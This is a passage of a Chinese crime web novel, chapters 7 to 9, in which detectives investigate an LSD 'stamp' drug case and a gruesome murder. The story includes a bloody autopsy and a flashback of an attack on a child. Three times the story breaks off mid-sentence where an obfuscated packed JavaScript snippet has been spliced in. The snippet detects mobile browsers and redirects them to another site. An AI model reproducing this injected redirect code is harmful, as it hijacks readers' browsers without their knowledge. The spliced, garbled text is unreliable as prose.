“犯罪成本低,所以这帮人才有恃无恐。现在不确定这种药品是否又重新在章宁市流通,复勘洪二发家和岳小伟的寿衣店时不要放过任何可疑物品,纸制品和入口的东西尤其要严查,人手不够就去各组借人,带回样品让法医化验,动作要快。”宋柏环抱双臂,面沉如水。 戴奇应声分配探组去了。 “既然成\瘾\性\强,那两个使用过邮票的学生很可能不像表面上那么安分,杨繁带一个人,我和江桢一组,分别去这两个人家里查,仲夏,交会面申请到新安矫治所,我要去见见这个张政。” “明白。”“好的。”“宋队,戴副准备出发了啊。” 一室警员纷纷起身响应,整理装备,陆续走出办公室。 江桢问:“咱也走吧?” “慢着,”宋柏冷冷地说,“拿上我妈给你点那份外卖。” 7. 第七章 “哎,让我来看看。哎呦,好漂亮的手,这在男人里可不多见啊。” ——长宁辖区正中心,整个章宁市香火最盛的寺庙化智寺静静矗立在车流之中,与马路一墙之隔的寺院内,焚香升起的大把白烟熏得行人连连咳嗽。 道路两旁本是私人住宅的平房都被辟成了临街小店,出售佛像、香烛、护身符之类的小商品,这里路窄,车多人更多,车子开进来不堵上半小时绝出不去。天热,宋柏摇下车窗,刚想透透气,另一边副驾驶上,江桢的手已经被人站在车外握住了。 外面那人是个算命看相的老头,穿一身深蓝色对襟小褂,鼻梁上架一副小圆眼镜,一副道行高深的模样,端详着江桢的手说:“手指为龙,手掌为虎,这位小帅哥一定长于思考,看看这手指头,多长!从左至右,这条横着的线叫做人线,主智慧,看人线,你必定聪慧无双……” 老头话一套接着一套,江桢似乎觉得很有意思,没有把手抽出来,而是颇为认真地听着老头说。 宋柏侧过头,看着江桢搭在膝盖上的左手。手指长而匀称,瘦的缘故,筋和血管都很分明,指甲修剪得干净整齐,只是有些苍白。老头慧眼独具,江桢的手是很好看。 如果老头不说,他可能一直都不会注意到这一点。 江桢轻轻往回一缩指尖,好像敏锐的感受到了什么。宋柏立刻收回目光,一眼不眨地看着前方堵塞的车道。 老头紧接着重重一叹:“可惜了,你这道疤断了命运线,你注定命运坎坷,亲缘淡薄。” 宋柏正搭在方向盘上敲击的手指一顿,挑起眉,望着那老头。 江桢手心那道疤很长,几乎横穿了整个手心,不仔细看的话并不显,听说是在福\利院的时候淘气磕的,针都没缝,硬挨着长好的。 不过宋柏对这说法持怀疑态度,先不说江桢小时候和淘气这个词相去甚远,单说那道疤——小时候他看不出什么,长大了冷不丁一提,倒觉得那更像是被刀划出来的。 “不过你的姻缘倒是很好,未来的妻子和你青梅竹马,年纪比你大,很疼你,你二人一定是夫妻和睦,成就一段佳话……” 哔哔! 红旗车忽然暴躁地鸣笛,老头吓了一跳,话被打断,往驾驶室探头探脑地一看。驾驶位上,气质冷厉如同杀神的宋柏也正扭头望过来,两人四目相对,宋柏喝到:“招摇撞骗,瞎说什么?” 老头“嘿”一声,转过脸对着明显更好说话的江桢:“您这位朋友居然不信,跟这街上打听打听,谁不知道我胡三算胡半仙!跟您说吧,命途多舛可以化解,只要这个数……” “哎。”宋柏见吓唬没用,向老头招招手,“半仙,给我也算算。” 怕老头不来,他又说:“我管着这位小哥的钱包,你给我算准了,有什么要化解的,我一起付钱。” 江桢这才扭过脸,表情分明是“你什么时候管我钱包了?”,宋柏不语,倾过身握着他的手腕,硬是把他的手从老头那儿抽了回来,旋即摇上车窗。那速度相当快,上行的车窗险些夹着了半仙老人家的手。 老头只好从车屁\股后面绕到驾驶室这边,宋柏抬头看了看,前面的车有要动的趋势,于是从怀里掏出二折警员证,看也不看那老头,往外一递,语气随意而散漫:“看看?” 老头这才发觉,自己缠上的是辆簇新的警车。 江桢:“噗!” 半仙那像狐狸被抓住了尾巴一样的震惊神色,在他看来很有趣似的,埋着脑袋笑个不停。正好前车动了,宋柏不知对他还是对老头,重重冷哼一声,一脚油门跟了上去。 车子驶出拥堵的化智寺街,向右转弯——前面再过一个路口就是他们要去的涉案人李想家,两年前,他作为张政的大学学弟参与吸食l\s\d,拘\留\期满后,姓名和住址都登记在了吸\毒人员数据库中。 “很好笑?”宋柏看江桢,这小子肩膀还在抖个不停。 “我觉得你做城管钓鱼执法有一套。”江桢由衷地敬佩道,“不过他做半仙也有一套,有的事情他说得没错。” “是夸你聪明没错还是说你以后会娶个比你大会疼人的老婆没错?”宋柏这一走神的工夫,路口忽然变灯,他猛踩刹车,瞬间江桢跟着往前一倾,被安全带勒住了。 宋柏一哂:“原来喜欢搞姐弟恋。” “……”江桢表情怪异,不知宋柏在抽什么风,“都不是。” 他揉了揉鼻尖,自嘲道:“他说我亲缘淡薄,我觉得挺对的。” 六岁,双亲亡故,被扔进福\利院不闻不问,这么多年没有别的亲戚找过,这亲缘不淡薄也怪了。 宋柏泊车,顺手按开江桢的安全带,声音一丝起伏都没:“对个屁,公职人员不许搞封建迷信那套,下车。” “戴副支队桌上摆着‘今日无警’摆件你怎么不说,还有广东那边最近都有妈祖评理室了,”江桢啪地合十双手,学着化智寺前信众的样子,诚恳地念,“举头三尺有神明啊,神明请赏今天晚上能准时回家吃饭的机会,多谢多谢。” 宋柏给他看手机屏幕:“可惜,现在已经四点了,求神没用,队长赏你一个晚上回局里吃盒饭的机会吧。” ——宋柏这乌鸦嘴一语成谶。 敲了门才知道,李想根本不在家。 应门的是他如今已经退休的父母,两人可能没少为儿子操心,都有明显的白发了。宋柏说明来意,他们倒很配合,带着点“我儿子绝不会再犯事”的笃定,把两位警官请进了门。 这楼不新了,外面连电梯都没有,屋里的家具都是原来那种木制的,地上还是绿瓷砖,透着老旧却温馨的感觉。每一间房子几乎都有独属于它的气味,李想家也不例外,是一种有点像樟脑球的木头香味。 这气味就像刚刚才闻到过一样熟悉,可是江桢在脑海中仔细检索了一遍,却没想到这究竟是什么香味。 四个人坐在客厅矮几前简单聊了聊,他们得知,当年李想吸毒事发即被学校退学,拘留期满后又进了强戒所,期间这对夫妻的艰辛和痛苦不必多说。后来李想他爸脑梗住院,家里又掏了一\大笔钱出来治病,这之后李想就像每一个传闻故事中那样,幡然醒悟,浪子回头,再也不吸了。 好在李想当时学的是美术,回头之后基本功没忘,而且这段特别的经历还给了他点灵感,正好新媒体流行,他就搞了个账号,发发自己的画,竟然小火了一把,目前一年跑几个画展,卖两幅画,算是吃喝不愁。 “您看,就是这个账号。”李想他\妈拿出手机打开软件给宋柏看,每一幅画下面都点了个赞,能看出她对儿子还是全力支持的。 宋柏和江桢一起浏览这个账号,他们俩都不懂艺术,但也能看出这些画中规中矩,和用了致/幻/剂之后会画出的抽象难懂的画面完全不同。 “您看,他真的规矩多了。当年要不是同学带着他,他不会干那种事的,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15338588|167794||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从小就胆子小,根本不知道那是……他要是知道,他能碰吗?!您要是不放心,等他回来您——”李想他爸说到一半,两道脚步声夹着交谈声由远及近,李想回来了。 他还带着一个女孩儿,看样子是朋友,见家里有警察,有点错愕地问他\妈:“发生什么了?” 宋柏打眼看他,高个儿、白净、戴一副眼镜,看着挺文气,这样一个人走在路上,别人不会想到他曾是个瘾君子。 江桢出示询问通知书:“别紧张,还记得你同学张政吗?他即将转入短期矫治所,我们过来向你了解一下两年前的情况。” 漕桥发生的凶杀案因凶手奔逃被多人目击而对外通报了一次,李想很可能也听说了这桩案子,但洪二发杀人的原因并未公布,此刻,刑警的直觉让江桢隐去了案情。 一般人提到狼狈的、阴暗的往事,会下意识表现得很抗拒,可李想完全没有,他点点头,态度非常配合地说:“哦,这样。” 他对带回来那女孩儿说:“你先去屋里等我吧。” 显然他父母也认得那女孩儿,三人点头打了招呼,女孩儿就钻进其中一间卧室里去了。 不知为什么,她礼貌客气到有点恭顺的样子,宋柏看她点头时肩颈那一块都是绷紧的。 “来,您坐。”李想比了个请的手势。 接下来李想说的和他父母的言辞差不多:用的时候不知道那是毒品,张政说是草本配方;戒\毒真的很痛苦,像死了又被迫活过来,但好在借干净了;爸妈不易,现在就想工作侍奉二老,关于“邮票”的来源一问三不知——两年前警察就问过了,他是真的不知道,是张政拿来给他的,后面也从张政那里买。 整个询问过程,李想都表现得坦然自得,没有任何反常。他穿着短袖,露出的胳膊上没有淤青也没有针眼。 他看起来是真的不吸了,也表现得真的很像年少无知被致\幻剂毁掉人生的受害者。可宋柏看着他,总觉得有种轻微的错位感。 他太正常了。 提起张政,提起“邮票”,他平淡得就像在说别人的事,让人联想到无波的湖面之下总是藏着更深更危险的秘密。 但这是证人询问,没有任何直接证据能证明洪二发杀人与两年前这桩走\私\贩\毒案有关,他们甚至不能强搜李想的房间。 就像江桢说的,他们只是“过来了解了一下情况”。 结束之后,李想亲自送他们下楼。 上车之前,宋柏问李想:“你还有别的想和我们说的吗?” 他在刑侦支队里摸爬滚打了十年,不笑地注视着谁的时候,气质凌厉如剑,论谁被这么一看都会忍不住害怕的,就像中午化智寺街的那个胡半仙。 然而李想回望他的眼睛,还能礼貌地微笑出来:“没有……哦,有一件。” 江桢问:“是什么?” 李想认真地说:“我建议你们多查查耿兴平,就是当年和我还有张政一起的另外一个人。” “为什么?” 李想目光放空,声音低下去,像是在回忆:“当年,第一次试了那东西之后,我其实很害怕,怕自己会就这么疯掉。” “可是那个人——耿兴平不一样。” “你知道他清醒过来之后说什么吗,警官?” 李想毫无破绽的脸上终于出现了一丝像是恐惧的表情:“他说,那东西真是太好了,他要用它做一件能够后世留名的大事。” 8. 第八章 江桢咬着一次性筷子头,看着膝上的盒饭,一动不动。 宋柏说:“吃啊,怎么不动筷子?” 下午六点二十分,他们的车还泊在张政家小区外,两人准备在车里吃一口晚饭再走。夕阳余晖,洒落在江桢那份塞满的盒饭上,里面整整齐齐地码着三道菜: 苦瓜炒鸡蛋、西蓝花、香菇油菜。 江桢扭头看宋柏,后者揭起泡面桶的盖子,一股酸辣鲜香的白烟腾起,里面的面挂着鲜亮的红汤,被宋柏拿筷子一搅,沾着调料包里的干葱花,显得无比诱\人。 他的泡面是对面小卖部买的,江桢的盒饭则是旁边小店自选的营养快餐,算起来还是江桢这份饭更贵一点,但它显然没有更好吃。 江桢在脑子里自我斗争了一下,说:“其实不用特地给我病号餐,我都好了,不疼了,跟着队长吃泡面就行。” “那怎么行。”宋柏两筷子就下去了小半桶面,“泡面重油重辣重盐,没营养。你多吃点清淡的。” 清淡的就有营养了吗! 江桢用筷子尖拣起一片油菜叶塞进嘴里,味道让他的表情瞬间空白,想当初大学拉练都没吃过这么素的,试着嚼了嚼,脑袋里立刻响起了“小白菜啊地里黄,弟弟吃面我喝汤……” “宋柏。”“叫队长。” “宋队,我觉得病号餐和兔子饭还是有本质区别的,为什么连肉都没有?”“肉是发物,不利于伤口恢复。” 江桢深吸了一口气,想说宋柏你其实是故意的吧,但他没说出来,因为对面张政家小区里出来一个人。 高挑个儿,皮肤白皙,腰板挺得直直的,是刚和张政一起回家的那个女孩儿。 宋柏也看到了,摇起车窗。女孩儿神色如常,手里多了一只手提袋,左手手腕有一圈被夕阳照得闪闪发光。 “那是什么?”这会儿太阳正盛,江桢被晃得直眯眼睛。 “好像是首饰。”宋柏仔细看了看,那是一串琉璃手链,中间可能还点缀着碎钻,所以直到女孩儿走远,走进阴凉里,那圈闪亮的东西才显露真身。 这两年这种手链特别常见,说是里面带香灰,能祈福。章宁市各大寺庙的法物流通处都有,其中又以化智寺的手链最火最出名。 这姑娘估计是想讨个好兆头吧。江桢又看了一会儿,记住了她的脸。 中午吃的是宋柏妈妈点的粥,他这会儿肚子完全空了,无奈地往嘴里扒了两口白饭,含糊问:“你觉得张政这人怎么样?” “毫无破绽,对答如流,可以直接拉出去考公/务/员。”宋柏冷哼一声,“越是这样越让人觉得他有问题。不知道警察具体来干什么,张口就让我们查另外一个人,把自己择得干干净净。” 白来一趟,除了觉得可疑没发现什么,江桢叹了口气:“希望小杨哥那边能有什么发现吧。” 宋柏可能是看他吃得实在难受,正要夹一筷子面过来,闻言眼尾锋利地往上一挑,语气里浓浓都是不满:“哥?杨繁什么时候成你哥了?” 他的雷点简直比神经末梢还多,还丰富,反应还快。江桢根本没反应过来自己又踩哪儿了,但对泡面的渴\望让他的身体比大脑先一步做出了反应,他按住宋柏那筷子泡面,诚恳、认真地说:“我就是叫顺口了,从小到大我心里其实只有一个哥哥。” 宋柏的表情一下缓和了不少。 江桢生怕他又反悔,赶紧按着他的手把那筷子泡面夹到自己这边,又往那白饭盒里倒了点泡面汤。 原本一丝油水都没的饭看起来好吃多了。江桢刚要收手,宋柏反手攥住他的手腕,把他的手一翻。 他好像被其他东西吸引了注意,默许了江桢用泡面汤下饭的行为,漫不经心地问:“对了,这手怎么弄的来着?” 夕阳正好透过车前窗,洒进前座,右手手心的那道疤就格外明显。如果仔细看的话,就会发现那并不只是一道疤,在凸\起的白色瘢痕边,还有些细碎的划痕,应该是没有划得很深,因此只是比周围的皮肤颜色略浅。 江桢望着自己的手心,宋柏探究的凝视令那道疤发热、发烫,像又被剖开了一样。他看着自己的右手重新变得鲜血淋漓,他仿佛变得很矮、很小,变成多年前那个胆怯而无力反抗的小孩。 ——他赤脚站在卧室里,被客厅的声响吵醒,推门只看到爸爸倒在卧室门口,一个又高又大的黑影扑上前来,精钢铸成似的大手卡着他的脖子,把他一下掼在墙上。 嘭一声巨响,他只觉得口鼻一热,满是令人想吐的铁锈味道,五脏六腑像被砸烂了一样绞痛,耳边锐鸣声一片,他张开嘴想要求饶,血却先从嘴巴里涌了出来,盖过了他所有声音。 他抬起眼睛,看到那个钳着他的陌生男人的脸,随之而来的是从上直劈而下的刀尖,在生死紧要关头,他不知从哪儿来的力气,竟然抬手握住了刀锋。 锋利的刃唰地回切柔嫩的手心,男人杀红了眼想把刀夺出来,江桢发着抖死死回攥右手,炙热的血沿着他的胳膊往下淌,刀刃那么冷,疯狂地来回割他的皮肉。 妈妈惊恐得拔高到极致的嗓音在男人身后骤然响起:“放开我儿子——!” “嗯?”宋柏问。 江桢用力闭了闭眼,鼻腔里似还残留着那晚浓烈的血味,竭力稳住的呼吸还是错了一拍。太阳最后的余光令他有一半侧脸埋在阴影之中,他蜷起手指,不想被看到疤似的,说:“小时候淘气,喝汽水,抱着瓶子不松手,摔倒了,瓶子破了划到的呗。” 和十几年前一模一样的说辞。 宋柏“哦”了一声:“什么汽水,瓶子这么利,看着跟刀片划的一样。” 他观察着江桢的反应。 “嗐,就是……”江桢松了口气,抬起眼想笑,却在和他对上目光时下意识躲开了。 “就是乡下没牌子的汽水,这么久了,谁还记得啊。” 他在撒谎。宋柏想。 那个年代汽水都少见,更何况是乡下的福\利院。喝一次汽水绝对能记很久,更何况江桢还恰好被汽水瓶割了手。 为什么在这种小事上撒谎?他这疤自到江起山家时就有了,那就是六岁前留下的,这么小,有什么秘密可以让他隐瞒二十年? 江桢转过头,眼睛望进饭盒里,却能清楚地感受到宋柏的目光在他的脸上扫了两圈。 片刻后宋柏说:“以后当心点,这样多不好看?” 江桢这才笑了出来,想要回话,却被一阵手机振动打断了。 打过来的人是杨繁。 宋柏接起电话,顿了几秒,那边不知说了什么,他脸色一沉,渐渐蹙起眉。 五分钟后,红旗警车重新驶上马路,汇入车流,沿着主干道,向着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15338589|167794||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 北边的长宁分局一路疾驰。 . “两件要紧事。”杨繁也是刚回分局,一边吨吨灌凉水,一边调出手机相册给宋柏看。 相册里连着从不同角度拍了近十张,都是一块黑色石碑。宋柏用手指放大其中一张,石碑上嵌着一个男人的照片。墓主人死的时候太年轻了,死得也太突然了,这张遗像能看出是生活照里挑出来又处理过的。 照片下镌刻着墓主人的名字:耿兴平,1992—2018. “第一件,耿兴平死了。自杀,人都烧成灰放在那儿一整年了。”杨繁缓过了起,竖起食指,“第二件,让我们请出重磅嘉宾——艾法医!” 艾昊,人和名字一样霸气无双,几乎和宋柏一个个头,看起来却壮硕不少,是法医室知名的行走的双开门。他一站起来,众人只觉得眼前一暗,多了一片阴影在室内移动。 “死者确实死于心脏破裂造成的心包填塞,刺破他心脏的一刀造成了致命伤。除此之外他身上所有的伤口均无生活反应,说明是死后造成。毒物检验确定他生前没有吸/毒。除了明确死因,尸检时我还发现了一件很有趣的事情要告诉你们,还有一个问题,需要你们告诉我。” 他翻开尸检报告,指着其中一张照片的一角:“看到了吗,近心尖的这里有很小的损伤。” 从尸体上分离出的心脏静静躺在镜头之下。众人头顶着头,围着失活发白的心脏的照片,此时它看起来更像一件恐怖片用的逼真道具,一块小到足以忽略的破损被艾法医指了出来。 细看的话,这道破损很特别,离断面并不像锐器伤那样平滑,而是参差不齐,像被什么东西撕裂了。 江桢皱着眉,仔细盯着那道伤口。尽管他们还不知道那是什么,但一线刑警的第六感已经令他感到毛骨悚然:“这是……” “咬伤。”艾昊言简意赅地说。 仲夏猛地打了个哆嗦:“那是——” “人牙齿造成的。” “我去,变\态儿童欢乐多。”杨繁捂住眼睛往后撤了一步。 宋柏查看那份尸检报告。 洪二发的行为与其说是分\尸,不如说是剖尸泄愤:他用岳小伟家里厨房用的剔骨刀划开了岳小伟的胸膛,然后用力砍,多次反复斩击之后,岳小伟肋骨断裂,被洪二发强行扯出心脏。 剔骨刀的刀刃崩碎了一小片,这块碎片落进了岳小伟敞开着的胸腔中,又随着洪二发之后的一系列动作嵌进了血肉里。 所有人沉默,一室只有纸页哗哗翻动的声音。 那个暴雨之夜的细节,随着详细尸检被警员们拼凑起来: 洪二发杀人、毁尸,门窗紧闭的平房充斥着酒气和血腥混合而成的怪异味道。怕被人发现,他没有开灯,而是在时来的闪电中伏在岳小伟的尸体上,低下头,咬了一口手中的心脏。 “再不说点什么我真的要吐了。”杨繁哆嗦着说。 宋柏脸色阴沉,问法医艾昊:“你刚刚说还有一件事想问我们?” 艾昊道:“对。你们看,剖尸手法生疏,透着急躁,这与一个服用致幻剂,精神失常到会生啖人心的凶手给人的印象相符。但是,在尸体遭到极大破坏的情况下,致命伤只有一处。一个疯子,能做到这么干脆利落,一刀致命吗?” “你们确定,凶手就是洪二发?” 9. 第九章 “化州曾经发生过类似的事情。”卫洲鼻梁上架着防蓝光眼镜,一脸严肃地往嘴里丢小熊软糖,“13年,化州老区出了一件吸/毒后杀人剖尸,取心生吞时哽死的奇案,当时凶手吸食的是冰/毒。这件事出了之后,化州的禁/毒力度前所未有之大。因为案情诡异,这件事还上了刑事期刊,更具体的你们直接上期刊网站就能找到。” “借用一下电脑。”宋柏挤开卫洲。 后者依依不舍地从自费购置的人体工程学椅上抬起屁/股,举着装满小熊软糖的罐子问一旁的江桢:“吃吗?” 江桢一脸状况之外:“这是……” “q10辅酶软糖,防猝死。”卫洲在宋柏“不许给他吃乱七八糟的东西”的警告中递上一粒,靠近江桢小声说:“宋柏这个人哪儿都挺好,就是控制欲太强,是吧?” 江桢没弄明白话茬怎么就从案情突然跳到控制欲上的,含/着软糖嗯嗯附和了一声,紧接着卫洲背后一凉,用脚趾头想也知道,是宋队飞来一记眼刀扎进了他的后脑勺。 宋柏哒哒敲着键盘,不多时就调出了当时的期刊文章。 2013年,化州。 当地某派/出所接报,一对情侣租客死于屋内,化州市公安局迅速响应,当几名刑侦人员赶到现场的时候,迎接他们的是两具惨不忍睹的尸体。 一男一女,都很年轻。两人一起躺在卧室的双人床上,床边地面被血水弄得滑/腻不可行,男人把女友紧紧抱在怀里,头靠在女友胸/前,身上多处捅刺伤;女孩身上伤口数量更多,大量失血的尸体皮肤惨白,像一尊本就没有生命的蜡像。 法医把二人的尸体分开,震惊地发现女孩下腹部横开了一道巨大的创口,腹腔乃至胸腔内的器官皆已遗失,一团血肉模糊的东西从男人口中掉出,那是女孩的心脏的一部分。 男人并非如女友一样,死于刺伤,而是在强行吞咽女友身体组织时噎死。 现场门窗紧锁,没有第三人闯入的痕迹。经过刑侦和技侦的共同推定,还原二人吸/毒过量致情绪亢奋,随后争吵,男人持家中水果刀刺杀女友。杀死女友之后,在毒/品所致的飘/飘欲仙的幻觉中,男人捅伤自己,切开女友的身体,试图吃下她的心脏。 令人毛骨悚然的案情被简单概括成了客观的文字,宋柏迅速浏览了一遍,说:“有一点不一样。化州的案子,死者被凶手多次捅刺,心肺甚至肝脏都有锐器伤,最后死于失血性休克。行凶全程直至剖尸,手段都残忍疯狂。” “他在剖尸前后的行为逻辑一致。”江桢说,对现场惨状的想象令他感到轻微的不适。 宋柏点头:“洪二发先是堪称冷静地一刀杀死岳小伟,之后又损毁尸体,做出了包括吞食心脏在内的一系列我们不能理解的行为,他到底为什么那么分/裂?” 江桢思索了一会儿,问:“如果服用致幻剂是导致行为改变的直接原因……有没有可能是他先杀了岳小伟,然后才服用了‘邮票’?” 卫洲说:“这样洪二发的前后行为不一就有解释了,但是——” 但是他为什么要这么做呢? 洪二发本人精神失常无法接受讯问,现有的线索更无法证明这一推论,卫洲疲倦地搓了搓脸,问宋柏:“那两个人家里找到什么没?” 宋柏还没有回答,安静了许久的办公室走廊忽然传来一阵嘈杂的脚步声,没过多久,戴奇推门而入,后面还跟着出去排查洪、岳两人社会关系的外勤组。一班人脸上皆有疲色,却又难掩兴奋。 “我们有重要发现!”戴奇说着抄起卫洲放在桌上的小熊软糖,自己吃了两颗,接着体贴地分发给所有刚回来的外勤,给每个人都营养一下心脏。咸鱼一样瘫在人体工程学椅里的卫副支一跃而起,像轰乌鸦一样“去去”地挥着手,无奈警员们一拥而上,把他珍贵的营养剂瓜分得一干二净。 卫洲捧着空瓶子,转向宋柏:“你、你……从你们刑侦经费里扣啊!听见没有?” 宋柏转身打开靠墙的大柜子,只见里面整整齐齐摞着各种口味的方便面,下面是亚硝酸盐超标的榨菜和肉质不明的火腿肠,面向这三样养生达人卫洲饿死也不会碰的东西做了个请的手势,说:“我们选择用泡面抵扣,这个柜子永远欢迎你来。” 片刻之后他补充道:“在你吃满那一瓶q10辅酶的钱之前。” 戴奇拍拍卫洲肩膀:“哎,别吃酸辣肥牛面啊,那是我最喜欢的口味。” 卫副支捧心倒下,被江桢一把扶住了。 这可能是刑侦支队唯一的良心了,卫洲脸上挂着欣慰的宽面条泪,看向江桢,后者摸了摸鼻尖,劝道:“卫副支队,其实我之前在网上查过,他们说这种做成软糖的补剂都是智商税,这样你会不会感觉好点儿……你怎么了?” “没什么。太久没和你们刑侦合作了,我很感动。”卫洲一脸虚弱,咬牙道,“最好你们的重大发现能帮我赶紧把这涉/毒案破了,说说看,什么线索值得一罐q10辅酶?!” 戴奇说:“洪二发和岳小伟并不是熟人,案发两周前,他们刚刚认识。” “六月二十九号,洪二发到岳小伟的寿衣店购买香烛纸钱,这是他们第一次见面,当天岳小伟在家里叫了一群人打牌,这些牌友和转账记录都能证明这一点。紧接着六月三十号、七月一号、三号、五号、六号……洪二发几乎每天都去岳小伟的店里购买香烛纸钱,一下成了岳小伟的大主顾。” “岳小伟卖的东西有问题?”宋柏皱起眉,想起卫洲说过的:毒/贩会用lsd溶液把纸浸/透、晾干,丧事用品以纸扎为主,藏在这些香烛纸钱里不是不可能。 “不,完全没有。”戴奇立刻否定,“一开始我们也是这么想的,难道岳小伟把lsd以纸扎的形式卖给了洪二发?但是痕检在寿衣店里什么都没发现,毒/品试纸把可能□□的东西都擦了一遍,干干净净,洪二发家也是这样,他在岳小伟店里买回的香烛纸钱就堆在床边,袋子都没拆开,里面一丁点lsd存在过的痕迹都没有。” “而且,六月十五号,洪二发接了附近工地帮杂工的活儿,每天上工,到七月十二号帮工结束,没有异常也从未请假,这期间他吸食毒/品的可能性很小。他是趁午休时间去岳小伟的店里买东西,放回家,然后回工地上工,天天如此。可那是医院扩建的工地,对面一条街都是寿衣店! “嘿,我就想了,岳小伟店里有什么特别的东西让洪二发日日往返,魂牵梦萦呢……” 江桢迟疑地说:“有……岳小伟?” “对,他在故意接近岳小伟。”戴奇一指江桢,肯定到,“用给岳小伟送钱送生意这种最简单质朴的方式。” “岳小伟就住在店里,这从六月底到七月十四号案发,洪二发借买香烛纸钱为由日日踩点,岳小伟家里有什么可以当作凶器,放在哪里,他都心知肚明。案发当晚,他在附近的菜市场里买了熟食和二锅头,然后才去到岳小伟店里,说不定连一起喝顿酒都是他提出来的。” 卫洲问:“每天都买,连着买这么久,岳小伟就不起疑心吗?” “这一点我们问过和岳小伟相熟的牌友,他们说岳小伟早就有闭店不做的心思了,一直在攒钱想回老家。洪二发上门几次,说是家里连着要给老人做法事,用到的东西多,生意上门,应该没人会想到拒绝。” “可洪二发家近期没有丧事。不仅没有丧事,我记得他家里只有他一个人。”宋柏翻看着戴奇递上的新鲜出炉的询问笔录,他们问了不少人,光是证人笔录就有厚厚一沓。 “没错,老婆癌症,儿子走失,老娘前几年去世了。”戴奇简要地总结,“孤家寡人一个。” ——洪二发,四十七岁,章宁市下属区县上湾村人,1992年和同村的焦秀兰结婚,次年儿子洪军出生。94年焦秀兰食道癌去世,97年,洪军在赶集时走失,目前下落不明。这之后,洪二发与其母相依为命,至17年母亲去世,洪二发离开上湾村,租住在长宁河边的自建房里,靠帮工维生,之前从无犯罪记录。 与之相比,五十岁的岳小伟的经历则“丰富”许多,他是南方人,二十出头北上章宁,洪二发儿子出生时,岳小伟因故意伤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15338590|167794||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人被判两年,出狱后又多次因打架斗殴被拘留,直至四十几岁才消停,是个不折不扣的混混。 虽然同在章宁,但两个人的人生之前从未有过交集,岳小伟的案底被翻过来查了一遍,没有一件与洪二发有关,因此洪二发是寻仇杀人的可能性很小。 岳小伟年轻时虽然是个混混,可都是小团体约架,没干过什么伤天害理的事情,更没有什么仇家。洪二发的账户没有异常,这之前没有见过陌生人,家中没有贵重物品,买凶杀人也被排除。 而他们现在查到的线索和洪二发之前供述的失手杀人严重不符,现实很可能是洪二发接近岳小伟,半个月之后将其杀害,这是板上钉钉的谋杀。 可动机呢?这又和“邮票”有什么关系? 原以为这是一件可以尽快移诉的恶性杀人案,没想到越是探查下去,线索越是纷繁复杂。杀人吞尸、致幻剂、走私旧案……这些东西就像被随机组合成一个谜团,扔在了长宁分局的警员们面前。 宋柏抬手按了按眉心,问:“痕检还在这两人家里吗?” 戴奇说:“和我们一起撤的,借的人我让他们先回家了。你们那边如何?” 宋柏摇摇头:“没什么收获,一个李想,现在很规矩;一个耿兴平,一年前跳崖自/杀,找他的时候又报警又动用了民间救援队,留下了记录,杨繁连他的墓都去拍了。” “死了?”戴奇很意外,“为什么自/杀?” 在他们讨论时一直没有出声,双臂抱在胸/前,像是已经睡着的卫洲睁开眼睛,轻声说:“没什么原因,吸/毒人员的自/杀率是正常人的15倍,戒了又吸,复吸再戒,如果从20岁开始吸,四分之一的人会在30岁的时候死。他会自/杀才是一种……正常。” 宋柏声音里透着冷厉:“我们多耽误一天,‘邮票’在外流通的可能性就提高一成。我不信这东西能凭空冒出来,让技侦把复勘现场的照片发给我们,看看有没有突破口。” 几分钟之后,还没来得及整理成照片卷宗的照片被技术队发送过来,大到全景,小到手指在落灰的窗台上留下的指纹,洪二发家和岳小伟的寿衣店的现场环境像立体动画一样被照片一寸一寸还原了出来。 留在分局加班的警员们人手一杯浓茶,空气中很快弥漫开泡面的香味,案卷纸页被翻动和键盘被敲响的声音中,间或响起的哈欠声格外明显。 江桢在浏览洪二发家的照片,宋柏从后面路过,拿走他面前泡了还没喝的浓茶,换了杯水。江桢道谢,喝水,一股醇厚温和的甜味在口中化开,冲淡了熬夜的疲惫。 宋柏拿过来的是一杯蜂蜜水。 再看身边,他本人倒是和其他人一样,大口喝着提神的浓茶。 江桢小声问:“这样不好吧,为什么给我喝这个?” 宋柏似乎对他的提问早有准备,面无表情道:“因为我控制欲强。” “……”江桢忍不住笑了一下,忙假意低头喝水。 然而宋柏仅用余光就看出了他的表情变化,问:“笑什么?” “笑堂堂支队长像小孩儿一样记仇,我以后绝对好好工作,不招惹你,怕被你寻仇到天涯海角。”江桢认真地说,完全没想到十年前删了宋柏所有联系方式,一声不吭地转学到外地,把宋柏惹毛的也是他自己。 宋柏扭过头看着他,眼睛中闪动着复杂的情绪。 半晌,宋柏低声问:“那你跑什么?” 